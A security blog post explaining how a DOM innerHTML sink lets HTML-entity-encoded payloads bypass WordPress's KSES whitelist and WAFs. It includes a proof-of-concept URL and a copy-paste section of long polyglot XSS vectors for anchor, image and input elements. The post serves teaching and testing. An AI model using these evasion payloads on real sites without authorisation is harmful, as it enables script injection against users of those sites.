Bypassing Whitelists With XSS Payloads in Attributes

There are XSS scenarios where there’s a strong filter in place like WordPress’s KSES. That filter, like many others, uses a Whitelist approach allowing only HTML that’s harmless against the application. By default it allows only basic formatting tags like <b>, <i> etc, links <a href=URL>, images <img src=URL>, tables and several other HTML elements with attributes that can execute Javascript.

Needless to say, no script element or event handler is allowed. Neither the pseudo-protocol “javascript:” in any of the attributes that need an URL. XSS against those filters are only possible with a 0-day which will be probably fixed soon due to the level of exposure the applications that use those filters and libraries have.

Nevertheless, because of the very genesis of any security vulnerability, things can get more complex and mistakes are made. To illustrate a way in which a XSS vulnerability is still possible regardless of the presence of such filters, a test page was created and posted on @BRuteLogic’s X timeline.

https://brutelogic.com.br/dom/wp-search.php

 

Feel free to pause this reading and try it before continuing. Also share with others:

 

Popping the Alert Box

With some initial “trial and error” attempts it’s possible to notice the presence of wp_kses() function of WordPress. With just that filter in place, it’s possible to break out from the value attribute of the input element (search form) with a double quote. It’s worth noticing that any inline injection with an event handler at that point is avoided by another filter resulting in a “[FORBIDDEN]” reflection.

 

 

To close the current element to inject a new one, a full allowed tag is needed not just a less than sign (>).

 

 

Getting escaped from the current element it’s possible to add any allowed element like an anchor (<a href>).

 

 

Now without any other help, it’s not possible to XSS here. Wp_kses() does a great job at filtering everything malicious but as pointed earlier, things can get messed by the application itself.

Checking the source code, a script named “script.js” is found loaded into page:

 

 

It contains a very short code:

 

 

It just takes the first anchor of the page ([0] of the array) and assigns its href value (an URL) to its content with the “innerHTML” property. Surprisingly, this gives enough room to evade the filter (and even WAFs) by injecting something into the href attribute of an anchor, allowed by wp_kses().

 

 

Notice that a <s> element was successfullu injected into the DOM using HTML Entities. It happens because it was inserted there with the innerHTML of the linkURL() function. That’s enough to evade wp_kses and usually most WAFs out there.

 

 

Although the <svg> element was successfully injected, the event handler triggered the other filter replacing “onload” with “[FORBIDDEN]”. The payload used also requires some encoding to avoid the “on.*” filter detection.

 

 

 

Now the <svg> payload got fully injected.

 

 

Final Payload:

"<s><a href=//%26lt;svg/o%26%2378;load=alert(1)%26gt;>

Proof-of-Concept:

https://brutelogic.com.br/dom/wp-search.php?search=XSS%22%3Cs%3E%3Ca+href=//%26lt;svg/o%26%2378;load=alert(1)%26gt;%3E

 

Payloads to Copy + Paste

The payload above can be optimized to work in more scenarios involving DOM insertions. They are useful for testing blackbox right away without checking any javascript code. It might work against wp_kses and other whiltelist filter/libraries and most certainly against WAFs.

The following polyglot payload ensures it will pop in several possible scenarios:

 

Anchor

1'"<S><A HRef=tel:%26sol;*%26apos;;%26sol;*%26quot;;%26sol;*%26lt;s%26gt;%26lt;Img/Src/*/O%26%2378;Error=alert(1)//%26gt; Title=tel:%26sol;*%26apos;;%26sol;*%26quot;;%26sol;*%26lt;s%26gt;%26lt;Img/Src/*/O%26%2378;Error=alert(1)//%26gt; Alt=tel:%26sol;*%26apos;;%26sol;*%26quot;;%26sol;*%26lt;s%26gt;%26lt;Img/Src/*/O%26%2378;Error=alert(1)//%26gt; Name=tel:%26sol;*%26apos;;%26sol;*%26quot;;%26sol;*%26lt;s%26gt;%26lt;Img/Src/*/O%26%2378;Error=alert(1)//%26gt; Class=tel:%26sol;*%26apos;;%26sol;*%26quot;;%26sol;*%26lt;s%26gt;%26lt;Img/Src/*/O%26%2378;Error=alert(1)//%26gt; >

 

It makes use of a short polyglot with encoded quotes and comments block. Check here for more info on polyglot tricks. It also sprays the payload across several common attributes of the element. The “tel:” scheme was used because it’s short and works best with href plus single slash (but some pages might demand “https:” with or without double slashes).

It’s a long vector but it’s not an issue since it’s mostly HTML encoded (usually tolerated by filters). Some attributes can be ommitted at will, except the mandatory “href” one.

More payloads:

 

Image

1'"<S><Img Src=tel:%26sol;*%26apos;;%26sol;*%26quot;;%26sol;*%26lt;s%26gt;%26lt;A/HRef/AutoFocus/*/O%26%2378;Focus=alert(1)//%26gt; Title=tel:%26sol;*%26apos;;%26sol;*%26quot;;%26sol;*%26lt;s%26gt;%26lt;A/HRef/AutoFocus/*/O%26%2378;Focus=alert(1)//%26gt; Alt=tel:%26sol;*%26apos;;%26sol;*%26quot;;%26sol;*%26lt;s%26gt;%26lt;A/HRef/AutoFocus/*/O%26%2378;Focus=alert(1)//%26gt; Name=tel:%26sol;*%26apos;;%26sol;*%26quot;;%26sol;*%26lt;s%26gt;%26lt;A/HRef/AutoFocus/*/O%26%2378;Focus=alert(1)//%26gt; Class=tel:%26sol;*%26apos;;%26sol;*%26quot;;%26sol;*%26lt;s%26gt;%26lt;A/HRef/AutoFocus/*/O%26%2378;Focus=alert(1)//%26gt; >

Input

1'"<S><Input Value=tel:%26sol;*%26apos;;%26sol;*%26quot;;%26sol;*%26lt;s%26gt;%26lt;A/HRef/AutoFocus/*/O%26%2378;Focus=alert(1)//%26gt; Name=tel:%26sol;*%26apos;;%26sol;*%26quot;;%26sol;*%26lt;s%26gt;%26lt;A/HRef/AutoFocus/*/O%26%2378;Focus=alert(1)//%26gt; Class=tel:%26sol;*%26apos;;%26sol;*%26quot;;%26sol;*%26lt;s%26gt;%26lt;A/HRef/AutoFocus/*/O%26%2378;Focus=alert(1)//%26gt; PlaceHolder=tel:%26sol;*%26apos;;%26sol;*%26quot;;%26sol;*%26lt;s%26gt;%26lt;A/HRef/AutoFocus/*/O%26%2378;Focus=alert(1)//%26gt; >

 

All these payloads work best with a native “id” attribute: usually in a vulnerable javascript code like the one above, not the 1st element of the array of elements is picked up. Although the function document.getElementsByTagName(element) for all similar elements might happen in the wild (specially for pages with lots of links retrieved dynamically), the function document.getElementById(id) is much more likely to occur with a value of the attribute “id” found in the source code.

Since it’s not possible to spray the “id” attribute, one needs to add it for a targeted exploitation of such vulnerable scenarios. On the other hand, an added “class” attribute supports the spray technique with all class names found in the page since it can accept multiple values.

 

Finally, we are proud to announce that our XSS tool KNOXSS is able to detect and prove this and other similar vulnerability scenarios.

 

#hack2learn